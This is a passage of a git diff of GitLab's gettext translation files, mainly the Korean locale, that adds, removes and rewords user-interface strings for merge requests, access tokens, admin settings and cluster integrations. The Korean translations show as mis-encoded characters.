+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index c303506be32..fbc293fe0b7 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:42\n"
+"PO-Revision-Date: 2021-07-01 21:26\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start}부터 %{end}까지"
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d ë ˆì´ì–´"
@@ -358,6 +354,21 @@ msgstr "%{authorsName} ì˜ ìŠ¤ë ˆë“œ"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr "%{name}께서 %{count} ê±´ì˜ ìŠ¹ì¸"
msgid "%{count} files touched"
msgstr "%{count} 파ì¼ì´ 변경ë˜ì—ˆìŠµë‹ˆë‹¤"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,11 +602,11 @@ msgstr "%{group_level_name} 그룹ì—는 %{level_name} ì´ í—ˆìš©ë˜ì§€ 않습ë‹
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "Forkí•œ ì›ë³¸ 프로ì íŠ¸ê°€ ë” ë‚®ì€ ê³µê°œ 수준으로 설정ë˜ì–´ 있으므로 %{level_name} ìˆ˜ì¤€ì´ í—ˆìš©ë˜ì§€ 않습니다."
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}ì—­í•  ê¶Œí•œì— ëŒ€í•´ ìžì„¸ížˆ 알아보기%{link_end}"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr "%{start}부터 %{end}까지"
msgid "%{state} epics"
msgstr "%{state} ì—픽"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "GitLab Inc와 공유ë˜ëŠ” ì •ë³´ì— ëŒ€í•´ %{usage_ping_link_start}ë” ì•Œì•„ë³´ê¸°%{usage_ping_link_end}"
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (머지할 수 ì—†ìŒ)"
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,14 +1654,14 @@ msgstr "수신 ì´ë©”ì¼ í† í°"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "다른 ë°ì´í„°ì— 액세스하는 ë° ì‚¬ìš©í•  수 없습니다."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "ì´ í† í°ì„ 비밀로 유지하세요. ì´ê²ƒì„ 아는 ì‚¬ëžŒì€ ë§ˆì¹˜ 나ì¸ê²ƒì²˜ëŸ¼ ì •ì  ì €ìž¥ì†Œ ê°ì²´ì— 엑세스할 수 있습니다. 만약 그렇게 ëœë‹¤ë©´ 토í°ì„ %{reset_link_start}재설정%{reset_link_end}í•  수 있습니다."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "ì´ í† í°ì„ 비밀로 유지하세요. ì´ê²ƒì„ 아는 ì‚¬ëžŒì€ ì´ìŠˆë¥¼ 마치 나ì¸ê²ƒ 처럼 만들 수 있습니다. 만약 그렇게 ëœë‹¤ë©´ 토í°ì„ %{link_reset_it} í•  수 있습니다."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "ì´ í† í°ì„ 비밀로 유지하세요. ì´ê²ƒì„ 아는 ì‚¬ëžŒì€ ë§ˆì¹˜ 나ì¸ê²ƒ 처럼 활ë™ê³¼ ì´ìŠˆ, RSS 피드 ë˜ëŠ” ë‚˜ì˜ ìº˜ë¦°ë” í”¼ë“œë¥¼ ì½ì„ 수 있습니다. 만약 그렇게 ëœë‹¤ë©´ %{link_reset_it} í•  수 있습니다."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "ê°œì¸ ì•¡ì„¸ìŠ¤ 토í°"
@@ -1678,17 +1678,17 @@ msgstr "Git over HTTP ì—­ì‹œ ê°œì¸ ì—‘ì„¸ìŠ¤ 토í°ì„ 사용하여 ì¸ì¦í•  ì
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "GitLab APIì— ì—‘ì„¸ìŠ¤í•´ì•¼ 하는 ê° ì• í”Œë¦¬ì¼€ì´ì…˜ë§ˆë‹¤ ê°œì¸ ì—‘ì„¸ìŠ¤ 토í°ì„ ìƒì„±í•  수 있습니다."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "수신 ì´ë©”ì¼ í† í°ì€ ì´ìŠˆë¥¼ ì´ë©”ì¼ë¡œ 만들때 나를 ì¸ì¦í•˜ëŠ”ë° ì‚¬ìš©ë˜ë©°, ê°œì¸ í”„ë¡œì íŠ¸ 별 ì´ë©”ì¼ ì£¼ì†Œì— í¬í•¨ë©ë‹ˆë‹¤."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "ì •ì  ê°ì²´í† í°ì€ ì €ìž¥ì†Œì˜ ì •ì  ê°ì²´(예: ì•„ì¹´ì´ë¸Œ, blobs, ...)ê°€ 외부 저장소ì—ì„œ ì œê³µë  ë•Œ, 사용ìžë¥¼ ì¸ì¦í•˜ëŠ” ë° ì‚¬ìš©ë©ë‹ˆë‹¤."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "재설정"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "ì´ %{noteableDisplayName} ì— ì¼ë°˜ì ì¸ 코멘트를 추가 합니다."
@@ -1816,6 +1819,9 @@ msgstr "ì´ %{noteable_name} ì— ì¼ë°˜ì ì¸ 코멘트를 추가 합니다."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "프로ì íŠ¸ì— 관한 ì •ë³´ê°€ 담긴 홈페ì´ì§€ë¥¼ wikiì— ì¶”ê°€í•˜ë©´ GitLabì´ ë©”ì‹œì§€ 대신 ì—¬ê¸°ì— í‘œì‹œ 합니다."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "사용ìžë¥¼ 지정하지 않았습니다."
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "새 프로ì íŠ¸ì— 공유 러너 활성화"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "환경 변수는 기본ì ìœ¼ë¡œ 보호ë©ë‹ˆë‹¤."
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,21 +2263,24 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
-msgid "AdminSettings|Select a template"
-msgstr "템플릿 ì„ íƒ"
-
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,12 +2299,9 @@ msgstr "모든 프로ì íŠ¸ì˜ ìžë™ 앱 리뷰 ë° ìžë™ ë°°í¬ ë‹¨ê³„ì—ì„œ
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "새 환경 변수를 작성할 ë•Œ 기본ì ìœ¼ë¡œ 보호ë©ë‹ˆë‹¤."
-
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "모든 그룹과 프로ì íŠ¸"
@@ -3281,9 +3308,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "알림 êµ¬ë… ì—¬ë¶€ 변경 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "ì´ìŠˆ ì¤‘ìš”ë„ ì—…ë°ì´íŠ¸ 중 문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "서비스 ë°ìŠ¤í¬ë¥¼ 활성화하는 ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤"
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "프로ì íŠ¸ë¥¼ 가져오는 ë™ì•ˆ 오류가 ë°œìƒ í–ˆìŠµë‹ˆë‹¤."
@@ -3656,9 +3683,6 @@ msgstr "ëŒ“ê¸€ì„ ì—…ë°ì´íŠ¸í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr "ë¼ë²¨ ì ìš©"
msgid "Apply a template"
msgstr "템플릿 ì ìš©"
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr "제안 ì ìš©"
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr "ìžë™ DevOps"
msgid "Auto DevOps enabled"
msgstr "ìžë™ DevOps 활성화ë¨"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "ìžë™ DevOps, Runner ìž‘ì—… artifacts"
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr "업그레ì´ë“œ"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr "íŒŒì¼ ì°¾ì•„ë³´ê¸°"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,11 +5686,11 @@ msgstr "ë°°í¬ ì „ëžµ"
msgid "CICD|Jobs"
msgstr "ìž‘ì—…"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "대체 CI 구성 파ì¼ì´ì—†ëŠ” 경우 Auto DevOps 파ì´í”„ë¼ì¸ì´ 실행ë©ë‹ˆë‹¤."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr ""
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "콜백 URL"
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr "경로 변경"
-msgid "Change permissions"
-msgstr "권한 변경"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr "íŒŒì¼ ì„ íƒ"
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr "ì—­í•  ê¶Œí•œì„ ì„ íƒí•´ì£¼ì„¸ìš”."
-
msgid "Choose a template"
msgstr "템플릿 ì„ íƒ"
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "저장소 ê°€ì ¸ì˜¤ê¸°ì— ëŒ€í•œ 최ìƒìœ„ ê·¸ë£¹ì„ ì„ íƒí•˜ì„¸ìš”."
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList}ê°€ Kubernetes í´ëŸ¬ìŠ¤í„°ì— 설치ë˜ì—ˆìŠµë‹ˆë‹¤"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "í´ëŸ¬ìŠ¤í„° 통합 |%{title} 성공ì ìœ¼ë¡œ 제거ë˜ì—ˆìŠµë‹ˆë‹¤."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "í´ëŸ¬ìŠ¤í„° 통합 |%{title} 성공ì ìœ¼ë¡œ ì—…ë°ì´íŠ¸ ë˜ì—ˆìŠµë‹ˆë‹¤."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "CA ì¸ì¦ì„œ"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "ì¸ì¦ 기관 번들 (PEM í¬ë§·)"
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "ì´ Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 사용할 프로ì íŠ¸ 환경 ì„ íƒ"
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr "API URL 복사"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "CA ì¸ì¦ì„œ 복사"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Kubernetes í´ëŸ¬ìŠ¤í„° ì´ë¦„ 복사"
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
